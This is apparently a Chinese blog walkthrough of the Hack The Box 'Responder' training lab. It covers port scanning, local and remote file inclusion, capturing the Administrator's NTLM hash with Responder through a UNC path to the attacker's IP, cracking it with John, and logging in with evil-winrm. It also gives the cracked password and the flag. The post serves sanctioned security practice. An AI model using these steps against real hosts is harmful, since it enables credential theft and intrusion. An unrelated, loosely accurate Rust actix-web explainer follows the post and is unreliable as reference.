hack the box靶场responder靶机

打开靶机,看第一个问题:
在这里插入图片描述
问:机器上跑了几个tcp端口?
回答:3个,才开始使用默认扫描方式只扫出来一个80,后来指定了端口返回,扫出来三个端口,分别是80、5985、7680,使用如下命令扫描

nmap -v -A -p1-65535 10.129.212.141

在这里插入图片描述
第二个问题:
在这里插入图片描述
问:当使用IP进行访问时,被重定向去了哪里?
回答:unika.htb
在这里插入图片描述
第三个问题:
在这里插入图片描述
问:网页是使用哪种脚本语言写的?
回答:php。
首先在burpsuite中进行抓包,然后对回包进行截取
在这里插入图片描述
然后能看到网页是用php写的
在这里插入图片描述
关于页面跳转的一个技巧
可以修改hosts文件禁止这种跳转,以kali为例,首先编辑/etc/hosts文件,添加一下IP地址和跳转的地址
在这里插入图片描述
然后访问,有页面了:
在这里插入图片描述

第四个问题:
在这里插入图片描述
问:用于加载不同语言版本网页的 URL 参数的名称是什么?
回答:page,我是猜的,因为第五题有个单词是page。其实点击上面出现的页面右上角的EN就能发现
在这里插入图片描述

看第五题:
在这里插入图片描述
问:下面哪个选项可以作为page的参数来进行本地文件包含。
回答:…/…/…/…/…/…/…/…/windows/system32/drivers/etc/hosts。这很明显,这就是个选择题。
在这里插入图片描述
第六个问题:
在这里插入图片描述
问:远程文件包含是下面哪种类型
回答://10.10.14.6/somefile。选择题

第七个问题:
在这里插入图片描述
问:NTLM全称是什么?
回答:New Technology LAN Manager

第八个问题:
在这里插入图片描述
问:responder中的哪个参数能指定网络接口?
回答:-I。参考:https://blog.csdn.net/weixin_43221560/article/details/107757138

第九个问题:
在这里插入图片描述
问:john的全称是什么?
回答:john the ripper。可以用来破解NTLM的哈希的。

第十个问题:
在这里插入图片描述
问:administrator用户的密码是什么?
回答:badminton
首先启动responder并监听本地的tun0网卡,然后由于靶机存在RFI,因此可以远程访问本地的某个文件,使用responder拿到主机的administrator的哈希,然后使用john破解
使用responder监听本地tun0网卡

responder -I tun0

在这里插入图片描述
靶机的地址访问本地的地址,注意访问的是本地的地址,就是openvpn获取到的地址。
在这里插入图片描述
responder获取到了哈希
在这里插入图片描述
保存到本地,使用john破解(时间非常久)
在这里插入图片描述

第十一个问题:
在这里插入图片描述

问:我们将使用 Windows 服务(即在box上运行)使用我们恢复的密码远程访问 Responder 机器。它侦听的 TCP 端口是什么?
回答:5985

第十二个问题:

在这里插入图片描述

问:flag是啥
回答:ea81b7afddd03efaa0945333ed147fac
直接使用evil-winrm连接

evil-wimrm -i 10.129.212.141 -u Administrator -p badminton

在这里插入图片描述

找到位于mike账户desktop下面的flag.txt

在这里插入图片描述

参考:
https://www.(油管你懂得,记得替换).com/watch?v=R8GOLiKIA1k
https://blog.csdn.net/w1304099880/article/details/106843786/

  • 7
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
在Rust的actix-web框架中,`Responder`和`ResponseError`是用于处理HTTP响应的重要trait。它们允许你定义如何将数据转换为HTTP响应以及如何处理错误。 `Responder` trait用于将数据转换为HTTP响应。你可以在自定义的类型上实现`Responder` trait,以便该类型可以直接返回给actix-web的处理器函数。以下是一个示例: ```rust use actix_web::{HttpResponse, Responder}; struct MyData { // 数据结构 } impl Responder for MyData { type Error = actix_web::Error; type Future = Result<HttpResponse, Self::Error>; fn respond_to(self, _: &actix_web::HttpRequest) -> Self::Future { // 将数据转换为HttpResponse let response = HttpResponse::Ok().json(self); // 假设MyData实现了serde的Serialize trait Ok(response) } } ``` 在这个示例中,我们为自定义的`MyData`类型实现了`Responder` trait。我们通过实现`respond_to`方法来定义如何将数据转换为HTTP响应。在这个例子中,我们使用`HttpResponse::Ok().json(self)`将`MyData`转换为JSON格式的HTTP响应。 `ResponseError` trait用于处理错误并生成适当的HTTP响应。你可以在自定义的错误类型上实现`ResponseError` trait,以便actix-web可以捕获并处理这些错误。以下是一个示例: ```rust use actix_web::{HttpResponse, ResponseError}; use std::convert::From; #[derive(Debug)] struct MyError { // 错误信息 } impl ResponseError for MyError { fn error_response(&self) -> HttpResponse { // 生成适当的HTTP响应 HttpResponse::InternalServerError().body("Internal Server Error") } } impl From<actix_web::Error> for MyError { fn from(_: actix_web::Error) -> Self { MyError { // 从actix-web的Error转换为自定义的错误类型 } } } ``` 在这个示例中,我们为自定义的`MyError`类型实现了`ResponseError` trait。我们通过实现`error_response`方法来定义如何生成适当的HTTP响应。在这个例子中,我们直接返回一个带有"Internal Server Error"消息的500错误响应。 另外,我们还实现了`From<actix_web::Error>` trait,以便将actix-web的错误转换为我们自定义的错误类型。这样,在处理请求时,actix-web可以自动将错误转换为我们定义的`MyError`类型。 希望这可以帮助你理解和使用`Responder`和`ResponseError` trait!如果还有其他问题,请随时提问。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值